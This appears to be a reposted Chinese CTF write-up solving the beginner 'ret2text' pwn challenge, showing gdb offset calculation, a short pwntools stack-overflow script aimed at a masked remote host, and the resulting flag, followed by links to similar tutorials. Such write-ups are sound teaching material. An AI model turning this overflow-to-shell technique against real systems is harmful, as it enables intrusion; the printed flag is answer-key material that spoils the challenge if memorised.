小胖手

作者:神秘网友 发布时间:2020-10-06 18:43:13

小胖手

小胖手

小PWN手的间歇性记录

  • ret2text

ret2text

首先checksec一下
小胖手

32位

只开启了栈可执行保护

ida打开

查找/bin/sh小胖手

binsh = 0x804863A

小胖手

距离ebp的距离需要利用Ubuntu中gdb工具

gdb ./ret2text
小胖手

因为存储读入的变量和到栈底的距离未知所以断点下在_gets

b *0x80486AE

别忘了再按r,报错不用管

小胖手

借助变量s到esp的距离计算出s的地址

再计算变量s到esp的距离

用Python:

ebp = 0xffffcfd8

esp = 0xffffcf50

print hex(esp + 0x1c - ebp)

得到运算结果-0x6cL

所以需要填充0x6c个字符

至此,已经得到填充缓冲区的字符数为0x6c

system返回的/bin/sh程序地址为0x804863A

于是构造payload

from pwn import*
io = remote('xxxxxx.xx',28365)
binsh = 0x804863A
io.sendline('a'*(0x6c+4)+p32(binsh))
io.interactive()

python ret2text.py

cat flag

flag{5e22ee8d-07f0-4089-94c2-d5e14c84f331}

小胖手相关教程

  1. [BUUCFT]PWN——pwn2_sctf_2016

    [BUUCFT]PWN——pwn2_sctf_2016 pwn2_sctf_2016[整数溢出+泄露libc] 题目附件 步骤: 例行检查,32位,开启了nx保护 试运行一下程序,看看大概的执行情况 32位ida载入,shift+f12检索程序里的字符串,没有看到现成的system和‘/bin/sh’,加上开启了NX保护,估

  2. 入门pwn-栈与栈溢出

    入门pwn-栈与栈溢出 栈是计算机中一种先进后出的数据结构,先进入的数据进入(push)栈底,最后的数据在栈顶。当需要读取数据的时候从栈顶开始弹出(pop)数据。 进栈 Push 退栈 Pop 栈帧开辟详情 根据c语言常用调用协议 _cdecl协议。 函数从右向左传参。 32位

  3. [BUUCTF]PWN——ciscn_2019_ne_5

    [BUUCTF]PWN——ciscn_2019_ne_5 题目附件 步骤: 例行检查,32位,开启了nx保护 试运行一下程序,看一下程序的大概执行情况 32位ida载入,shift+f12查看程序里的字符串,发现了flag字符串 双击跟进,ctrl+x找到调用的函数,得到提示我们输入的log就是flag 看

  4. 攻防世界 Pwn 新手

    攻防世界 Pwn 新手 这里面的每个题我都没有去检查保护,太麻烦,新手区也没有需要绕过保护的,最简单的canary绕过也在进阶。 ps:我这里用的是python2.7。如果用python3的话代码会有一个致命的不同,看我的另外一篇博客 字符串编码解决python3 payload=‘a‘

  5. [BUUCTF]PWN——[HarekazeCTF2019]baby_rop2

    [BUUCTF]PWN——[HarekazeCTF2019]baby_rop2 [HarekazeCTF2019]baby_rop2 题目附件 步骤: 例行检查,64位,开启了nx保护 运行了一下程序,了解大概的执行情况 64位ida载入,shift+f12检索程序里的字符串,没有发现可以直接利用的,从main函数开始看程序 程序

  6. [CTF-PWN]攻防世界新手村-level2[wp]

    [CTF-PWN]攻防世界新手村-level2[wp] 手残博主因在27日从根地址误删了自己两年半配置和使用的kali虚拟机。。。在一步步恢复环境配置的时候,从头到尾刷一遍题,总结思路。 开启场景后,服务端会开启对应的端口,并在端口上部署和附件相同的ELF二进制可执行文

  7. 攻防世界 cgpwn2

    攻防世界 cgpwn2 首先提示输入名字,然后提示输入一段信息,程序就结束了。很简单的流程,gets方法也存在明显的溢出。但是目前为止没有找到我们想要的flag。在方法区看到有pwn方法,点进去一看,额。。 没有找到可以直接利用的源程序方法,那就只能自己构造了

  8. [CTF-PWN]攻防世界新手村-level0[wp]

    [CTF-PWN]攻防世界新手村-level0[wp] 手残博主因在27日从根地址误删了自己两年半配置和使用的kali虚拟机。。。在一步步恢复环境配置的时候,从头到尾刷一遍题,总结思路。 开启场景后,服务端会开启对应的端口,并在端口上部署和附件相同的ELF二进制可执行文